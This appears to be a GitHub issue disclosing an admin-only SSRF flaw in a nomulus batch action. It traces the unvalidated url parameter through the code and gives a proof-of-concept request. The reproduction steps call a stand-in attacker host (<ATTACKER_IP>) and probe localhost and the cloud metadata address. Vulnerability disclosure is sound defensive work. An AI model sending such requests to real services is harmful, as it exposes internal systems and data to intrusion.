Skip to content

SSRF in CannedScriptExecutionAction (Admin-Only) #3011

@kmaron1n

Description

@kmaron1n

Details
Description This issue is a classic Server-Side Request Forgery (SSRF) caused by unvalidated user input. The url parameter is fully attacker-controlled and directly used to create an outbound HttpsURLConnection without any validation, filtering, or allowlisting. As a result, an attacker can force the server to send HTTP requests to arbitrary destinations, including internal services that are not publicly accessible. The vulnerability is exploitable because the server performs the request and then reads the full response (getResponseBytes) and returns it back to the attacker in response.setPayload. This effectively turns the application into a proxy, enabling attackers to access sensitive internal endpoints and retrieve their responses. In the provided PoC, the attacker targets an internal Kubernetes service (*.svc.cluster.local) using a privileged service account token. This demonstrates the ability to reach internal network resources and potentially access administrative endpoints that rely on implicit trust or internal authentication. Impact includes internal service enumeration, access to sensitive metadata or admin APIs, and potential privilege escalation depending on reachable services. In cloud environments, this could also lead to metadata exposure or lateral movement within the infrastructure. The root cause is the lack of input validation and absence of network-level restrictions (e.g., blocking private IP ranges), allowing arbitrary outbound connections initiated by user input.

Location

core/src/main/java/google/registry/batch/CannedScriptExecutionAction.java:57-75

Data Flow

@parameter("url") String url; // line 58 — user-controlled

HttpsURLConnection connection = (HttpsURLConnection) urlConnectionService.createConnection(new URL(url)); // line 70 responseCode = connection.getResponseCode(); // line 71 responseContent = new String(UrlConnectionUtils.getResponseBytes(connection), UTF_8); // line 74 response.setPayload(responseContent); // line 85 — returned to caller

PoC Concept

POST /_dr/task/executeCannedScript?url=https://internal-service.default.svc.cluster.local/admin Authorization: Bearer admin_service_account_token

Reproduction Steps

Clone and run the application: git clone https://github.com/google/nomulus.git cd nomulus (build and start the service following the project README)

Identify the vulnerable endpoint: POST /_dr/task/executeCannedScript The "url" parameter is user-controlled and used to create an outbound request.

Start an attacker-controlled server to capture requests: python3 -m http.server 8000

Send the SSRF request: POST /_dr/task/executeCannedScript?url=http://<ATTACKER_IP>:8000 Authorization: Bearer <VALID_TOKEN>

Verify the vulnerability:

Observe an incoming request on the attacker server.
The application fetches the remote content and returns it in the response payload.
Optionally test internal access: url=http://127.0.0.1:8080/ url=http://metadata.google.internal/
Attack scenario
Full response SSRF: request arbitrary HTTPS URLs from the server's network position, response returned to caller
In GKE: access internal Kubernetes services, other backend endpoints
Limited to AUTH_ADMIN (service accounts / admin users), but a compromised admin token or misconfigured service account could exploit this
Only HTTPS (casts to HttpsURLConnection), so GCP metadata endpoint (HTTP-only) is not directly reachable

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions